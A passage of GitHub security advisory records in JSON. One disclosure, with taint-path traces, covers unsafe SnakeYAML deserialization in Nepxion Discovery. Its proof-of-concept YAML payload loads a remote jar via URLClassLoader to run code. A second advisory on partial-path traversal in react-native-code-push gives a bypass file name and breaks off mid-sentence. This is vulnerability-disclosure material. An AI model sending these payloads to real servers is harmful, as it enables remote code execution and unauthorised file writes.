\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L126-L126)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L127-L127)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n           return recreateVersionRelease(group, serviceId, conditionRouteStrategy);\r\n   
\r\n \r\n7. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n8. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n   \r\n           return snakeYaml.loadAs(yaml, clazz);\r\n       }\r\n   }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L97-L97).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L97-L97)\r\n
    @ApiOperation(value = \"局部订阅方式,根据Yaml格式,创建版本蓝绿灰度发布\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, serviceId, conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L98-L98)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @PathVariable(value = \"serviceId\") @ApiParam(value = \"服务名\", required = true) String serviceId, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, serviceId, conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L251-L251)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doCreateVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, serviceId, conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L253-L253)\r\n
    private ResponseEntity<?> doCreateVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, serviceId, conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L108-L108)\r\n
\r\n       @Override\r\n       public String createVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L109-L109)\r\n
    @Override\r\n       public String createVersionRelease(String group, String serviceId, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return createVersionRelease(group, serviceId, conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L62-L62).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L62-L62)\r\n
    @ApiOperation(value = \"全局订阅方式,根据Yaml格式,重新创建版本蓝绿灰度发布(创建链路智能编排,不创建条件表达式)\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L63-L63)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> recreateVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度路由策略Yaml\", required = true) String conditionRouteStrategyYaml) {\r\n           return doRecreateVersionRelease(group, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L201-L201)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doRecreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, conditionRouteStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L203-L203)\r\n
    private ResponseEntity<?> doRecreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.recreateVersionRelease(group, conditionRouteStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L81-L81)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           return recreateVersionRelease(group, null, conditionRouteStrategyYaml);\r\n       }\r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L82-L82)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String conditionRouteStrategyYaml) {\r\n           return recreateVersionRelease(group, null, conditionRouteStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L126-L126)\r\n
\r\n       @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L127-L127)\r\n
    @Override\r\n       public String recreateVersionRelease(String group, String serviceId, String conditionRouteStrategyYaml) {\r\n           ConditionRouteStrategy conditionRouteStrategy = YamlUtil.fromYaml(conditionRouteStrategyYaml, ConditionRouteStrategy.class);\r\n   \r\n           return recreateVersionRelease(group, serviceId, conditionRouteStrategy);\r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n----------------------------------------\r\n\r\n[discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n\r\n
        Yaml snakeYaml = new Yaml();\r\n\r\n        return snakeYaml.loadAs(yaml, clazz);\r\n    }\r\n}
\r\n\r\n*Unsafe deserialization depends on a [user-provided value](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L48-L48).*\r\n\r\n#### Paths\r\n\r\n
\r\nPath with 10 steps\r\n\r\n1. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L48-L48)\r\n
    @ApiOperation(value = \"全局订阅方式,根据Yaml格式,创建版本蓝绿灰度发布\", notes = \"\", response = ResponseEntity.class, httpMethod = \"POST\")\r\n       @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, conditionStrategyYaml);\r\n       }\r\n   
\r\n \r\n2. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L49-L49)\r\n
    @ResponseBody\r\n       public ResponseEntity<?> createVersionRelease(@PathVariable(value = \"group\") @ApiParam(value = \"组名\", required = true) String group, @RequestBody @ApiParam(value = \"蓝绿灰度策略Yaml\", required = true) String conditionStrategyYaml) {\r\n           return doCreateVersionRelease(group, conditionStrategyYaml);\r\n       }\r\n   \r\n   
\r\n \r\n3. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L181-L181)\r\n
    }\r\n   \r\n       private ResponseEntity<?> doCreateVersionRelease(String group, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, conditionStrategyYaml);\r\n   
\r\n \r\n4. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/endpoint/StrategyEndpoint.java#L183-L183)\r\n
    private ResponseEntity<?> doCreateVersionRelease(String group, String conditionStrategyYaml) {\r\n           try {\r\n               String result = strategyResource.createVersionRelease(group, conditionStrategyYaml);\r\n   \r\n               return ResponseUtil.getSuccessResponse(result);\r\n   
\r\n \r\n5. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L69-L69)\r\n
\r\n       @Override\r\n       public String createVersionRelease(String group, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n   
\r\n \r\n6. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L70-L70)\r\n
    @Override\r\n       public String createVersionRelease(String group, String conditionStrategyYaml) {\r\n           ConditionStrategy conditionStrategy = deparseVersionReleaseYaml(conditionStrategyYaml);\r\n   \r\n           return createVersionRelease(group, conditionStrategy);\r\n   
\r\n \r\n7. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L197-L197)\r\n
\r\n       @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   
\r\n \r\n8. [discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-console/discovery-console-starter/src/main/java/com/nepxion/discovery/console/resource/StrategyResourceImpl.java#L198-L198)\r\n
    @Override\r\n       public ConditionStrategy deparseVersionReleaseYaml(String conditionStrategyYaml) {\r\n           return YamlUtil.fromYaml(conditionStrategyYaml, ConditionStrategy.class);\r\n       }\r\n   \r\n   
\r\n \r\n9. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L46-L46)\r\n
    }\r\n   \r\n       public static <T> T fromYaml(String yaml, Class<T> clazz) {\r\n           // 非线程安全\r\n           Yaml snakeYaml = new Yaml();\r\n   
\r\n \r\n10. [discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java](https://github.com/Nepxion/Discovery/blob/3d7936828df6f1242882ec1363908355eb633779/discovery-commons/discovery-common/src/main/java/com/nepxion/discovery/common/util/YamlUtil.java#L50-L50)\r\n
        Yaml snakeYaml = new Yaml();\r\n    \r\n            return snakeYaml.loadAs(yaml, clazz);\r\n        }\r\n    }
\r\n \r\n\r\n
\r\n\r\n#### Proof of Concept\r\n\r\nSend the following payload to `http://127.0.0.1:9628/strategy/deparse-version-release-yaml`.\r\n\r\n```yaml\r\n!!com.nepxion.discovery.common.entity.ConditionStrategy:\r\n service: !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"http://localhost:8080/yaml-payload.jar\"]]]]\r\n blueGreen:\r\n gray:\r\n header:\r\n sort:\r\n```\r\n\r\nThis will cause discovery to download the jar hosted at `http://localhost:8080` (generated using [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload)) and attempt to service load an instance of the `javax.script.ScriptEngineFactory`.\r\n\r\n----------------------------------------\r\n\r\n### Patches\r\n_Has the problem been patched? What versions should users upgrade to?_\r\n\r\n### Workarounds\r\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\r\n\r\n### References\r\n - https://github.com/mbechler/marshalsec/tree/master", "severity": "critical", "author": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "publisher": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "identifiers": [ { "value": "GHSA-22cq-8f5q-p5g2", "type": "GHSA" }, { "value": "CVE-2022-1471", "type": "CVE" } ], "state": "published", "created_at": "2022-12-12T18:16:25Z", "updated_at": "2023-02-02T19:48:29Z", "published_at": "2023-02-02T19:48:29Z", "closed_at": null, "withdrawn_at": null, "submission": null, "vulnerabilities": [ { "package": { "ecosystem": "maven", "name": "com.nepxion:discovery-common" }, "vulnerable_version_range": "< 6.20.0", "patched_versions": "6.20.0", "vulnerable_functions": [] } ], "cvss": { "vector_string": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "score": 10.0 }, "cwes": [ { "cwe_id": "CWE-20", "name": "Improper Input Validation" }, { "cwe_id": "CWE-77", "name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')" }, { "cwe_id": "CWE-502", "name": "Deserialization of Untrusted Data" } ], "cwe_ids": [ "CWE-20", "CWE-77", "CWE-502" ], "credits": [ { "login": "JLLeitschuh", "type": "analyst" }, { "login": "jorgectf", "type": "analyst" } ], "credits_detailed": [ { "user": { "login": "JLLeitschuh", "id": 1323708, "node_id": "MDQ6VXNlcjEzMjM3MDg=", "avatar_url": "https://avatars.githubusercontent.com/u/1323708?v=4", "gravatar_id": "", "url": "https://api.github.com/users/JLLeitschuh", "html_url": "https://github.com/JLLeitschuh", "followers_url": "https://api.github.com/users/JLLeitschuh/followers", "following_url": "https://api.github.com/users/JLLeitschuh/following{/other_user}", "gists_url": "https://api.github.com/users/JLLeitschuh/gists{/gist_id}", "starred_url": "https://api.github.com/users/JLLeitschuh/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/JLLeitschuh/subscriptions", "organizations_url": "https://api.github.com/users/JLLeitschuh/orgs", "repos_url": "https://api.github.com/users/JLLeitschuh/repos", "events_url": "https://api.github.com/users/JLLeitschuh/events{/privacy}", "received_events_url": "https://api.github.com/users/JLLeitschuh/received_events", "type": "User", "site_admin": false }, "type": "analyst", "state": "accepted" }, { "user": { "login": "jorgectf", "id": 46056498, "node_id": "MDQ6VXNlcjQ2MDU2NDk4", "avatar_url": "https://avatars.githubusercontent.com/u/46056498?v=4", "gravatar_id": "", "url": "https://api.github.com/users/jorgectf", "html_url": "https://github.com/jorgectf", "followers_url": "https://api.github.com/users/jorgectf/followers", "following_url": "https://api.github.com/users/jorgectf/following{/other_user}", "gists_url": "https://api.github.com/users/jorgectf/gists{/gist_id}", "starred_url": "https://api.github.com/users/jorgectf/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/jorgectf/subscriptions", "organizations_url": "https://api.github.com/users/jorgectf/orgs", "repos_url": "https://api.github.com/users/jorgectf/repos", "events_url": "https://api.github.com/users/jorgectf/events{/privacy}", "received_events_url": "https://api.github.com/users/jorgectf/received_events", "type": "User", "site_admin": true }, "type": "analyst", "state": "accepted" } ] }, { "ghsa_id": "GHSA-7hfp-mpq6-2jhf", "cve_id": null, "url": "https://api.github.com/repos/JLLeitschuh/security-research/security-advisories/GHSA-7hfp-mpq6-2jhf", "html_url": "https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-7hfp-mpq6-2jhf", "summary": "Improper Limitation of a Pathname to a Restricted Directory ('Partial-Path Traversal') during unzip in react-native-code-push", "description": "### Impact\r\n\r\nPartial-path traversal vulnerability allows zip files downloaded as a part of the `com.microsoft.codepush.react.CodePushNativeModule#downloadUpdate` to write their contents out of the intended desintination directory `/unzipped`.\r\n\r\nThis bug can lead to two potential issues:\r\n - Arbitrarily written files to sibling directories of the `/unzipped` directories like `/unzipped-private`\r\n - DOS of the host system by filling the disk space of the drive as these files written outside the `/unzipped` directories will never be cleaned up.\r\n\r\nThe `downloadUpdate` method, although written in Java, is exposed as a react-native method, and is invoked from Javascript code.\r\n\r\n#### Vulnerability Root Cause\r\n\r\nThe `com.microsoft.codepush.react.FileUtils#unzipFile` contains a partial-path traversal vulnerability in the logic used to unzip a zip file. This is due to the `com.microsoft.codepush.react.FileUtils#validateFileName` method containing an insufficient guard against partial-path traversal vulnerabilities.\r\n\r\n ```java\r\n private static String validateFileName(String fileName, File destinationFolder) throws IOException {\r\n String destinationFolderCanonicalPath = destinationFolder.getCanonicalPath();\r\n\r\n File file = new File(destinationFolderCanonicalPath, fileName);\r\n String canonicalPath = file.getCanonicalPath();\r\n\r\n if (!canonicalPath.startsWith(destinationFolderCanonicalPath)) {\r\n throw new IllegalStateException(\"File is outside extraction target directory.\");\r\n }\r\n\r\n return canonicalPath;\r\n }\r\n ```\r\n\\- https://github.com/microsoft/react-native-code-push/blob/f72751fbc044e8348bda82c52b784d29952e06dd/android/app/src/main/java/com/microsoft/codepush/react/FileUtils.java#L126-L137\r\n\r\nThe application controls the `destinationFolder` argument, which will always be a directory ending in `/unzipped`, but the `fileName` comes from the untrusted Zip file. The above bit of logic can be bypassed with the following payloads:\r\n\r\n```java\r\n// The following will return the string \"[SOME PARENT PATH]/unzipped-private/foo-bar\"\r\nvalidateFileName(\"/../unzipped-private/foo-bar\", new File(\"[SOME PARENT PATH]/unzipped\"))\r\n```\r\n\r\n#### True Root cause\r\n\r\n> If the result of `parent.getCanonicalPath()` is not slash terminated it allows for partial path traversal.\r\n>\r\n> Consider `\"/usr/outnot\".startsWith(\"/usr/out\")`. The check is bypassed although `outnot` is not under the `out` directory.\r\nThe terminating slash may be removed in various places. On 